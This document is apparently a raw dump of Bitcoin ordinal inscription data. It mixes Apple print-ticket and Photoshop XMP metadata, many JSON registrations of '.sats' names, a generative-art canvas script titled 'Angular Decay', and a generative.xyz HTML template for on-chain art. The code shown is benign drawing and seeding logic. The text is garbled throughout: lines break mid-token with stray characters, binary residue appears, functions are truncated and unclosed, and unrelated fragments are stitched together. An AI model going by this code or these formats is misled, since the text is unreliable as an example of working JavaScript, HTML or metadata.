	<key>com.apple.print.PageFormat.PMScaling</key>
		<key>com.apple.print.ticM
		<string>com.apple.jobticket</string>
		<key>com.apple.print.ticket.itemArray</key>
				<key>com.apple.print.PageFormat.PMScaling</key>
				<key>com.apple.print.ticket.stateFlag</key>
				<integer>0</integer>
	<key>com.apple.print.PageFormat.PMVerticalRes</key>
		<key>com.apple.print.ticket.creator</key>
		<string>com.apple.jobticket</string>
		<key>com.apple.print.ticket.itemArray</key>
.apple.print.PageFormat.PMVerticalRes</key>
				<key>com.apple.print.ticket.stateFlag</key>
				<integer>0</integer>
	<key>com.apple.print.PageFormat.PMVerticalScaling</key>
		<key>com.apple.print.ticket.creator</key>
		<string>com.apple.jobticket</string>
		<key>com.apple.print.ticket.itemArray</key>
				<key>com.apple.print.PageFormat.PMVerticalScaling</key>
				<key>com.apple.print.ticket.stateFlag</key>
	<key>com.apple.print.subTicket.paper_info_ticket</key>
		<key>PMPPDPaperCodeName</key>
			<key>com.apple.print.ticket.creator</key>
			<string>com.apple.jobticket</string>
			<key>com.apple.print.ticket.itemArray</key>
					<key>PMPPDPaperCodeName</key>
					<string>A4</string>
					<key>com.apple.print.ticket.stateFlag</key>
					<integer>0</integer>
		<key>PMPPDTranslationStringPaperName</key>
			<key>com.apple.print.ticket.creator</key>
			<string>com.apple.jobticket</string>
			<key>com.apple.print.ticket.itemArray</key>
					<key>PMPPDTranslationStringPaperName</key>
					<string>A4</string>
					<key>com.apple.print.ticket.stateFlag</key>
					<integer>0</integer>
		<key>PMTiogaPaperName</key>
			<key>com.apple.print.ticket.creator</key>
			<string>com.apple.jobticket</string>
			<key>com.apple.print.ticket.itemArray</key>
					<key>PMTiogaPaperName</key>
					<string>iso-a4</string>
					<key>com.apple.print.ticket.stateFlag</key>
					<integer>0</integer>
		<key>com.apple.print.PageFormat.PMAdjustedPageRect</key>
			<key>com.apple.print.ticket.creator</key>
			<string>com.apple.jobticket</string>
			<key>com.apple.print.ticket.itemArray</key>
					<key>com.apple.print.PageFormat.PMAdjustedPageRect</key>
						<integer>0</integer>
						<real>783</real>
						<real>559</real>
					<key>com.apple.print.ticket.stateFlag</key>
					<integer>0</integer>
		<key>com.apple.print.PageFormat.PMAdjustedPaperRect</key>
			<key>com.apple.print.ticket.creator</key>
			<string>com.apple.jobticket</string>
			<key>com.apple.print.ticket.itemArray</key>
					<key>com.apple.print.PageFormat.PMAdjustedPaperRect</key>
						<real>-18</real>
						<real>824</real>
						<real>577</real>
					<key>com.apple.print.ticket.stateFlag</key>
					<integer>0</integer>
		<key>com.apple.print.PaperInfo.PMPPDPaperDimension</key>
			<key>com.apple.print.ticket.creator</key>
			<string>com.apple.jobticket</string>
			<key>com.apple.print.ticket.itemArray</key>
					<key>com.apple.print.PaperInfo.PMPPDPaperDimension</key>
						<integer>0</integer>
						<real>595</real>
						<real>842</real>
					<key>com.apple.print.ticket.stateFlag</key>
					<integer>0</integer>
		<key>com.apple.print.PaperInfo.PMPaperName</key>
			<key>com.apple.print.ticket.creator</key>
			<string>com.apple.jobticket</string>
			<key>com.apple.print.ticket.itemArray</key>
					<key>com.apple.print.PaperInfo.PMPaperName</key>
					<string>iso-a4</string>
					<key>com.apple.print.ticket.stateFlagM
					<integer>0</integer>
		<key>com.apple.print.PaperInfo.PMUnadjustedPageRect</key>
			<key>com.apple.print.ticket.creator</key>
			<string>com.apple.jobticket</string>
			<key>com.apple.print.ticket.itemArray</key>
					<key>com.apple.print.PaperInfo.PMUnadjustedPageRect</key>
						<integer>0</integer>
						<integer>0</integer>
						<real>783</real>
						<real>559</real>
					<key>com.apple.print.ticket.stateFlM
					<integer>0</integer>
		<key>com.apple.print.PaperInfo.PMUnadjustedPaperRect</key>
			<key>com.apple.print.ticket.creator</key>
			<string>com.apple.jobticket</string>
			<key>com.apple.print.ticket.itemArray</key>
					<key>com.apple.print.PaperInfo.PMUnadjustedPaperRect</key>
						<real>-18</real>
						<real>-18</real>
						<real>824</real>
						<real>577</real>
					<key>com.apple.print.ticket.stateFlag</M
					<integer>0</integer>
		<key>com.apple.print.PaperInfo.ppd.PMPaperName</key>
			<key>com.apple.print.ticket.creator</key>
			<string>com.apple.jobticket</string>
			<key>com.apple.print.ticket.itemArray</key>
					<key>com.apple.print.PaperInfo.ppd.PMPaperName</key>
					<string>A4</string>
					<key>com.apple.print.ticket.stateFlag</key>
					<integer>0</integer>
		<key>com.apple.print.ticket.APIVersion</keyM
		<string>00.20</string>
		<key>com.apple.print.ticket.type</key>
		<string>com.apple.print.PaperInfoTicket</string>
	<key>com.apple.print.ticket.APIVersion</key>
	<string>00.20</string>
	<key>com.apple.print.ticket.type</key>
	<string>com.apple.print.PageFormatTicket</string>
http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 4.1-c036 46.276720, Mon Feb 19 2007 22:13:43        "> <rdM
f:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xap="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xapMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:exif="http://ns.adobe.com/exif/1.0/" xap:CreateDate="2023-03-01T01:04:27+02:00" xap:ModifyDate="2023-03-01T01:04:27+02:00" xap:MetadaM
taDate="2023-03-01T01:04:27+02:00" xap:CreatorTool="Adobe Photoshop CS3 Macintosh" dc:format="image/jpeg" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1" photoshop:History="" xapMM:InstanceID="uuid:EC07B129BDB8ED1198F1FE137501CB69" xapMM:DocumentID="uuid:EB07B129BDB8ED1198F1FE137501CB69" tiff:Orientation="1" tiff:XResolution="3000000/10000" tiff:YResolution="3000000/10000" tiff:ResolutionUnit="2" tiff:NativeDigest="256,257,258,259,262,274,277,284,530,531,282,283,296,301,318,319,529,532,306,270,271,M
272,305,315,33432;55744E349444E0F82E2FFCF200F5C8BC" exif:PixelXDimension="801" exif:PixelYDimension="800" exif:ColorSpace="1" exif:NativeDigest="36864,40960,40961,37121,37122,40962,40963,37510,40964,36867,36868,33434,33437,34850,34852,34855,34856,37377,37378,37379,37380,37381,37382,37383,37384,37385,37386,37396,41483,41484,41486,41487,41488,41492,41493,41495,41728,41729,41730,41985,41986,41987,41988,41989,41990,41991,41992,41993,41994,41995,41996,42016,0,2,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,20,22,23,24,25,26,27M
,28,30;0CD86AE5E980B99D7F30FECCB47A5DE1"> <xapMM:DerivedFrom stRef:instanceID="uuid:E01E9D6858B1ED1187E0DFFF4327866D" stRef:documentID="uuid:DF1E9D6858B1ED1187E0DFFF4327866D"/> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                                             M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                            <?xpacket end="w"?>
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour spaceM
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
iTXtXML:com.adobe.xmp
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
      <rdf:Description rdf:about=""
            xmlns:exif="http://ns.adobe.com/exif/1.0/">
         <exif:PixelYDimension>636</exif:PixelYDimension>
         <exif:PixelXDimension>630</exif:PixelXDimension>
         <exif:UserComment>Screenshot</exif:UserComment>
      </rdf:Description>
text/plain;charset=utf-8
Bored Ape Yacht Clubh!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"0131.sats"}h!
d/Foundry USA Pool #dropgold/
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"9702.sats"}h!
FjDOUT:47E6B6332833C91256B58856CF864D84A9F66EFBCF7D0840442E771A59E3D486
text/plain;charset=utf-8
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"87615.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"2727.sats"}h!
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"1000sats.sats"}h!
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"10sats.sats"}h!
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"bgyl.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"2575.sats"}h!
text/plain;charset=utf-8
,{"p":"sns","op":"reg","name":"100sats.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"nsats.sats"}h!
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"asoul.sats"}h!
text/plain;charset=utf-8
&{"p":"sns","op":"reg","name":"C.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"10088.sats"}h!
text/plain;charset=utf-8
.{"p":"sns","op":"reg","name":"10000sats.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"86711.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"kobe.sats"}h!
text/plain;charset=utf-8
,{"p":"sns","op":"reg","name":"imtoken.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"7755.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"5577.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"2775.sats"}h!
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"manysats.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"7722.sats"}h!
text/plain;charset=utf-8
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"10002.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"kksk.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"4soul.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"10001.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"steam.sats"}h!
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"Ballin.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"0089.sats"}h!
text/plain;charset=utf-8
,{"p":"sns","op":"reg","name":"wangfei.sats"}h!
text/plain;charset=utf-8
.{"p":"sns","op":"reg","name":"xiongyong.sats"}h!
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"liutao.sats"}h!
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"liuyuran.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"liubo.sats"}h!
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"liuyilin.sats"}h!
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"111.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"777.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"444.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"222.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"888.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"999.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"333.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"555.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"666.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"666.sats"}h!
text/plain;charset=utf-8
(((((((((((((((((((((((((((((((((((((((((((((((((((((h
text/plain;charset=utf-8
  "name": "vito.sats"
text/plain;charset=utf-8
iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.b0f8be90, 2021/12/15-21:25:15        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xapM
/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 23.2 (Macintosh)" xmp:CreateDate="2023-02-16T14:40:25-08:00" xmp:ModifyDate="2023-02-16T17:49:30-08:00" xmp:MetadataDate="2023-02-16T17:49:30-08:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:a62c8104-9900-47fc-992a-0351b8c30fed" xmpMM:DocumentID="adobe:docid:photoshop:43f5876a-162a-7541-b71a-b78b12ca80f9" xmpMM:OriginalDocumentID="xmp.did:d1ea0793-0436-489c-8aa2-feee1c5e8442"> <xmpM
MM:History> <rdf:Seq> <rdf:li stEvt:action="created" stEvt:instanceID="xmp.iid:d1ea0793-0436-489c-8aa2-feee1c5e8442" stEvt:when="2023-02-16T14:40:25-08:00" stEvt:softwareAgent="Adobe Photoshop 23.2 (Macintosh)"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:817d084e-4307-486a-ab74-713f9a628b7b" stEvt:when="2023-02-16T16:20:09-08:00" stEvt:softwareAgent="Adobe Photoshop 23.2 (Macintosh)" stEvt:changed="/"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:a62c8104-9900-47fc-992a-0351b8c30fed" stEvt:wM
hen="2023-02-16T17:49:30-08:00" stEvt:softwareAgent="Adobe Photoshop 23.2 (Macintosh)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>RU
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"fism.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"seti.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"lks.sats"}h!
{"collection":"Web3m","artist":"Dima","link":"web3m.io"}Yo
2023-03-02T13:01:06+00:00
2L~023-03-02T13:01:06+00:00
dd583677d3534e47c9af1e8657c40a8af69763f13b0c72b6a8d530ac3a97ecfdh
text/plain;charset=utf-8
  "name": "0909.sats"
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"eunice.sats"}h!
text/plain;charset=utf-8
6*&&*6>424>LDDL_Z_||
6*&&*6>424>LDDL_Z_||
-http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.dabacbb, 2021/04/14-00:39:44        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe PhotoshoM
p 23.0 (Windows)" xmpMM:InstanceID="xmp.iid:BD92BA4EB23E11ED88AFFA0552A83AF9" xmpMM:DocumentID="xmp.did:BD92BA4FB23E11ED88AFFA0552A83AF9"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:BD92BA4CB23E11ED88AFFA0552A83AF9" stRef:documentID="xmp.did:BD92BA4DB23E11ED88AFFA0552A83AF9"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
)A&&AB///BG?>>?GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG
))4&4?((?G?5?GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG
text/plain;charset=utf-8
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"w3tester.sats"}h!
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUM
VWXYZcdefghijstuvwxyz
d/Foundry USA Pool #dropgold/
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"9728.sats"}h!
text/html;charset=utf-8
<meta charset="UTF-8">
<title>Angular Decay</title>
<script id="snippet-random-code" type="text/javascript">
let seed = window.location.href.split('/').find(t => t.includes('i0'));
const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz";
seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() * alphabet.length) | 0]).join('') + "i0";
let pattern = "seed=";
for (let i = 0; i <M
 seed.length - pattern.length; ++i) {
if (seed.substring(i, i + pattern.length) == pattern) {
seed = seed.substring(i + pattern.length);
function cyrb128($) {
let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
return _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(lM
 ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
function sfc32($, _, u, i) {
return function () {
var l = ($ >>>= 0) + (_ >>>= 0) | 0;
return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
let mathRand = sfc32(...cyrb128(seed));
<style>body {margin: 0px;} </style>M
<canvas id="target"></canvas>
<script type="text/javascript">
const rand = mathRand();
const rand2 = mathRand();
let sqpix,cp,ratio=0.707,bug=false;
if(rand<0.3){sqpix=0;zoom=false;return"Portrait";}
if(rand<0.6){sqpix=0;ratio=1.414;return"Lanscape";}
if(rand<0.95){sqpix=1;return"Square";}
sqpix=1;bug=1;return"Bugged";}
if(rand<0.07){cp=12;return "Paper";}
if(rand<0.14){cp=1;return "DPM";}
if(rand<0.21){cp=2;return "Fecktarn";}
if(rand<0.41){cp=4;return "Desert Drill";}
if(rand<0.5){cp=5;return "Urban";}
if(rand<0.6){cp=6;return "Navy";}
if(rand<0.7){cp=7;return "German Winter";}
if(rand<0.8){cp=8;return "Tree";}
if(rand<0.85){cp=9;return "Orange";}
if(rand<0.9){cp=10;return "Harris";}
if(rand<0.95){cp=11;return "Market";}
cp=0;return "Saint";}
window.$generativeTraits = {"View": T1(rand),"Pallet": T2(rand2) }
const container = document.createElement("div")
container.innerHTML = "<span>seed: " + seed + "</spM
let resizeTmr=null,aniFrame=null;
let ofw,ofh,sz,rz=1;
let gi=0,gj=0,drp=0,drawtot=2,bmp,artcols=[];
var tricount=0,tr=30;
var tx1=[],ty1=[],tx2=[],ty2=[],tx3=[],ty3=[];
var rx1=[],ry1=[],rx2=[],ry2=[],rx3=[],ry3=[];
const init = async () => {
window.addEventListener('resize', async () => {
clearTimeout(resizeTmr)
resizeTmr = setTimeout(async () => {
await layoutCanvas()
await layoutCanvas()
const layoutCanvas = async () => {
const wWidth=window.innerWidth
const wHeight=window.innerHeight
let cHeight=wHeight;
let cWidth=cHeight*ratio;
if(cWidth>wWidth){cWidth=wWidth;cHeight=cWidth/ratio;}
const canvas=document.getElementById('target')
canvas.width=2000*rz;
canvas.height=(2000*rz)/ratio;
canvas.style.position = 'absolute'
canvas.style.width = `${cWidth}px`
canvas.style.height = `${cHeight}px`
canvas.style.left = `${(wWidth - cWidth) / 2}px`
canvas.style.top = `${(wHeight - cHeight) / 2}pM
const drawCanvas = async () => {
if(!tried) setupart();
if (aniFrame) window.cancelAnimationFrame(aniFrame)
const canvas=document.getElementById('target')
const ctx=canvas.getContext('2d')
{let bx=ofw/500,by=ofh/500;
ctx.globalAlpha=0.05;
for(let f=10;f<30; f++){
for(let i=0;i<500; i++){
drawEllipse(ctx, bx*i + ri(3)*sz, by*gj+ ri(3)*sz, bx/2,bx/2,'#ffffff');
drawEllipse(ctx, bx*i + ri(3)*sz, by*gj+ ri(3)*sz, bx/2,bx/2,'M
if(gj>500) { drp=3; gj=0; }
for(let f=0;f<tc;f++){
if(bug) dl(ctx, tx1[f]*sz,ty1[f]*sz, tx2[f]*sz*sz,ty2[f]*sz, artcols[1], 1*sz);
else dl(ctx, tx1[f]*sz,ty1[f]*sz, tx2[f]*sz,ty2[f]*sz, artcols[1], 1*sz);
dl(ctx, tx2[f]*sz,ty2[f]*sz, tx3[f]*sz,ty3[f]*sz, artcols[1], 1*sz);
dl(ctx, tx1[f]*sz,ty1[f]*sz, tx3[f]*sz,ty3[f]*sz, artcols[1], 1*sz);}
for(let f=0;f<rc;f++){
dl(ctx, rx1[f]*sz,ry1[f]*sz, rx2[f]*sz,ry2[f]*sz, artcols[2], 1*sz);
,ry2[f]*sz, rx3[f]*sz,ry3[f]*sz, artcols[2], 1*sz);
dl(ctx, rx1[f]*sz,ry1[f]*sz, rx3[f]*sz,ry3[f]*sz, artcols[2], 1*sz);}
ctx.fillStyle = artcols[0];
ctx.fillRect(0,0,ofw,ofh);
mathRand = sfc32(...cyrb128(seed));
tc=0;rc=0;tricount=0;tr=30;bmp=0;
triharder(500, 500, 500+rir(-tr,tr), 500+rir(-tr,tr));
tricount=1000;tr=rir(10,50);dor=true;bmp=0;
triharder(500, 500, 500+rir(-tr,tr), 500+rir(-tr,tr));
aniFrame = window.requestAnimationM
function triharder( x1,y1, x2,y2)
if(tricount>2500) return;
var x3=x1+rir(-tr,tr);
var y3=y1+rir(-tr,tr);
if(x3<0){x3+=tr;bmp++}
if(x3>1000){x3-=tr;bmp++}
if(y3<0){y3+=tr;bmp++}
if(y3>1000/ratio){y3-=tr;bmp++}
if(dor) {rx1[rc]=x1;ry1[rc]=y1;rx2[rc]=x2;ry2[rc]=y2;rx3[rc]=x3;ry3[rc]=y3;rc++; }
else {tx1[tc]=x1;ty1[tc]=y1;tx2[tc]=x2;ty2[tc]=y2;tx3[tc]=x3;ty3[tc]=y3;tc++;}
if(bmp>15){bmp=0; x3=y3=500;x1=rir(500,500+tr);y1=rir(500,500+tr);x2=rir(500,500-tr);y2=rir(500,500-M
triharder(x3,y3, x1,y1);
if(ri(100)>20) triharder(x3,y3, x2,y2);
const autoDownloadCanvas = async () => {
const element = document.createElement('a')
element.setAttribute('download',`Angular-${ofw}x${ofh}-${seed}`)
element.style.display = 'none'
document.body.appendChild(element)
let imageBlob = null
imageBlob = await new Promise(resolve => document.getElementById('target').toBlob(resolve, 'image/png'))
element.setAttribute('href', window.URL.createObjectURL(imageBlob, {
document.body.removeChild(element)
document.addEventListener('keypress', async (e) => {
e = e || window.event
if (e.key === 's') autoDownloadCanvas()
if (e.key === 'h') { rz++;if(rz>5)rz=1;drp=0;gi=0;gj=0;await layoutCanvas() }
function drawEllipse(ctx,x,y,rx,ry,fill) {
ctx.ellipse(x, y, rx, ry, 0, 0, 2 * Math.PI);
if (fill) {ctx.fillStyle = fill;ctx.fill();}
function dl(ctx,lx,ly,ex,ey,stroke,width) {
if (stroke) {ctx.strokeStyle = stroke;}
if (width) {  ctx.linM
ctx.beginPath();ctx.moveTo(lx,ly);ctx.lineTo(ex,ey);ctx.stroke();
if(cp==12)artcols=['#EDECE0','#303030','#880808'];
if(cp==0) artcols=['#F0BEB2','#F25B40','#3A8D3B'];
if(cp==11)artcols=['#4F97BA','#F9E1B5','#BD2C41'];
if(cp==1) artcols=['#25201E','#D3A252','#686C22'];
if(cp==2) artcols=['#B4CBCA','#1F5FB3','#355026'];
if(cp==3) artcols=['#D1C7C5','#6E5247','#8D695D'];
if(cp==4) artcols= ['#E4DBBE','#8BB8B3','#AF799A'];
if(cp==5) artcols= ['#B8B8B3','#474747','M
if(cp==6) artcols= ['#A6B2C7','#323642','#394A69'];
if(cp==7) artcols= ['#E6E6E4','#343523','#B2B2AD'];
if(cp==8) artcols= ['#A9A18E','#706B5C','#606A4D'];
if(cp==9) artcols= ['#EDECE0','#944645','#F25D34'];
if(cp==10) artcols= ['#9FA6A4','#77694E','#B54933'];
function ri( x){  return Math.floor(mathRand()*x);}
function rir(x,y){ let nr = (y - x) ; return  Math.floor((mathRand()*nr) + x); }
text/plain;charset=utf-8
  "name": "99009.sats"
text/html;charset=utf-8
    <meta charset="UTF-8">
    <title>A simple template for launching your art on Bitcoin</title>
    Generative supports the most popular creative coding libraries. Simply uncomment the library you want to use below.
    Are we missing an important library? Let us know @generative_xyz.
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/p5.js/1.5.0/p5.min.js"></script>
    <!-- c2.min.js@1.0.0
pt sandbox="allow-scripts" type="text/javascript" src="https://cdn.generative.xyz/ajax/libs/c2/1.0.0/c2.min.js"></script>
    <!-- chromajs@2.4.2
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/chroma-js/2.4.2/chroma.min.js"></script>
<!--    <script sandbox="allow-scripts" type="text/javascript" src="https://cdn.generative.xyz/ajax/libs/p5.grain/0.6.1/p5.grain.min.js"></script>-->
    <!-- threejs@r124
    <script sandbox="allow-scripts" typM
e="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/three.js/r124/three.min.js"></script>
    <!-- tonejs@14.8.49
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/tone/14.8.49/Tone.js"></script>
    <!-- svgjs@3.1.2
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/svg.js/3.1.2/svg.min.js"></script>
    <!-- aframejs@1.2.0
    <script sandbox="allow-scripts" type="text/jaM
vascript" src="https://cdnjs.cloudflare.com/ajax/libs/aframe/1.2.0/aframe.min.js"></script>
    <!-- babylonjs@5.47.0
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/babylonjs/5.47.0/babylon.js"></script>
    <!-- paperjs@0.12.17
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/paper.js/0.12.17/paper-full.min.js"></script>
    <!-- regljs@2.1.0
    <script sandbox="allow-scripts" tM
ype="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/regl/2.1.0/regl.min.js"></script>
    <script type="text/javascript">
 Add your script here
 Add your script here
    <script id="snippet-random-code" type="text/javascript">
        let seed = window.location.href.split('/').find(t => t.includes('i0'));
        if (seed == null) {
            const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz";
            seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() * alphabet.length) | 0]).join('') + "i0";
            let pattern = "seed=";
            for (let i = 0; i < seed.length - pattern.length; ++i) {
                if (seed.substM
ring(i, i + pattern.length) == pattern) {
                    seed = seed.substring(i + pattern.length);
                    break;
        function cyrb128($) {
            let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
            for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
urn _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
        function sfc32($, _, u, i) {
            return function () {
                u >>>= 0, i >>>= 0;
                var l = ($ >>>= 0) + (_ >>>= 0) | 0;
                return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | M
0) | 0) | 0, (l >>> 0) / 4294967296
        // IMPORTANT: Instead of Math.random(), use this function mathRand() for random number generation.
        // This function generates a random number between 0 and 1 with on-chain seed.
        let mathRand = sfc32(...cyrb128(seed));
        html, body {
            margin: 0;
            padding: 0;
            max-width: 100%;
            max-height: 100%;
            margin: auto;
     overflow: auto;
            position: fixed;
            object-fit: contain;
            bottom: 0;
            left: 0;
            right: 0;
<script type="text/javascript">
    const rand = mathRand();
    function T1(rand) {
        // calculate rarity by yourself
        if (rand > 0.5) {
            return true;
    // window.$generativeTraits contain list traits for token
    // you need to populate a $generativeTraits object in the window object
    window.$generativeTraits = {
